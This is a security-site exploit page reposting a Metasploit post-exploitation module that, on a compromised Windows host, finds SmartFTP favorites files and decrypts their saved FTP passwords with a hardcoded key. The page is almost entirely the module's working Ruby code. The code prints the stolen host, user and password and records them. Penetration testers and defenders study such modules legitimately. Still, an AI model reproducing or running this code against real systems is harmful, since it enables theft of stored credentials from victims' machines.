首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SmartFTP Saved Password Extraction
来源:http://www.metasploit.com 作者:TheLightCosine 发布时间:2011-06-21  
##
# $Id:$
##
 
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
 
require 'msf/core'
require 'rex'
require 'rexml/document'
 
 
class Metasploit3 < Msf::Post
 
 
 
	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Windows Gather SmartFTP Saved Password Extraction',
				'Description'   => %q{ This module finds saved login credentials
							for the SmartFTP FTP client for windows.
							It finds the saved passwords and decrypts
							them.},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'TheLightCosine <thelightcosine@gmail.com>'],
				'Platform'      => [ 'windows' ],
				'SessionTypes'  => [ 'meterpreter' ]
			))
 
	end
 
	def run
 
		os = session.sys.config.sysinfo['OS']
		drive = session.fs.file.expand_path("%SystemDrive%")
		@xmlfiles=[]
		if os =~ /Windows 7|Vista|2008/
			@favpath = 'AppData\\Roaming\\\\SmartFTP\\Client 2.0\\Favorites'
			@users = drive + '\\Users'
		else
			@favpath = 'Application Data\\SmartFTP\\Client 2.0\\Favorites'
			@users = drive + '\\Documents and Settings'
		end
		get_users
		@userpaths.each do |path|
			enum_subdirs(path)
		end
		@xmlfiles.each do |file|
			get_xml(file)
		end
 
 
	end
 
	def enum_subdirs(path)
 
		begin
			session.fs.dir.foreach(path) do |sub|
				next if sub =~ /^(\.|\.\.|Predefined Favorites)$/
				xmlpath= "#{path}\\#{sub}"
				if sub=~/\.xml$/
					#print_status(xmlpath)
					@xmlfiles<< xmlpath
				else
					enum_subdirs(xmlpath)
				end
 
			end
		rescue
 
		end
 
	end
 
	def get_users
		@userpaths=[]
		session.fs.dir.foreach(@users) do |path|
			next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
			@userpaths << "#{@users}\\#{path}\\#{@favpath}"
		end
	end
 
 
	def decrypt(password)
 
		cipher =[password].pack("H*")
		ms_enhanced_prov="Microsoft Enhanced Cryptographic Provider v1.0"
		prov_rsa_full=1
		crypt_verify_context= 0xF0000000
		alg_md5 = 32771
		alg_rc4 = 26625
 
 
		acquirecontext= client.railgun.advapi32.CryptAcquireContextW(4,nil,ms_enhanced_prov,prov_rsa_full,crypt_verify_context)
		createhash = client.railgun.advapi32.CryptCreateHash(acquirecontext['phProv'],alg_md5,0,0,4)
		hashdata = client.railgun.advapi32.CryptHashData(createhash['phHash'],"SmartFTP",16,0)
		derivekey = client.railgun.advapi32.CryptDeriveKey(acquirecontext['phProv'],alg_rc4,createhash['phHash'], 0x00800000, 4)
		decrypt = client.railgun.advapi32.CryptDecrypt(derivekey['phKey'],0,true,0,cipher,cipher.length)
		destroyhash= client.railgun.advapi32.CryptDestroyHash(createhash['phHash'])
		destroykey = client.railgun.advapi32.CryptDestroyKey(derivekey['phKey'])
		releasecontext = client.railgun.advapi32.CryptReleaseContext(acquirecontext['phProv'],0)	
		data= decrypt['pbData']
		return data
	end
 
	def get_xml(path)
		condata=""
		begin
			xmlexists = client.fs.file.stat(path)
			connections = client.fs.file.new(path,'r')
			until connections.eof
				condata << connections.read
			end
			parse_xml(condata)
			print_status("Finished processing #{path}")
		rescue
			print_status("The file #{path} either could not be read or does not exist")
		end
 
	end
 
 
	def parse_xml(data)
		mxml= REXML::Document.new(data).root
		mxml.elements.to_a("//FavoriteItem").each do |node|
			host = node.elements['Host'].text
			port = node.elements['Port'].text
			user = node.elements['User'].text
			epassword= node.elements['Password'].text
			next if epassword == nil or epassword== ""
			pass=decrypt(epassword)			
 
			print_good("HOST: #{host} PORT: #{port} USER: #{user} PASS: #{pass}")
			report_auth_info(
							:host  => host,
							:port => port,
							:user => user,
							:pass => pass
						)
 
		end
 
	end
 
 
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OpenBSD/x86 Execve ("/bin/sh")
·FreeBSD/x86 Alphanumeric Bomb
·Jaangle v0.98.971 (.ogg) Local
·DreamBox DM800 Arbitrary File
·XnView 1.98 Denial of Service
·DATAC RealWin SCADA Server 2 O
·If-CMS 2.07 Pre-Auth Local Fil
·Black Ice Fax Voice SDK v12.6
·Black Ice Cover Page ActiveX C
·Black Ice Cover Page SDK insec
·FactoryLink vrn.exe Opcode 9 B
·MS11-050 IE mshtml!CObjectElem
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved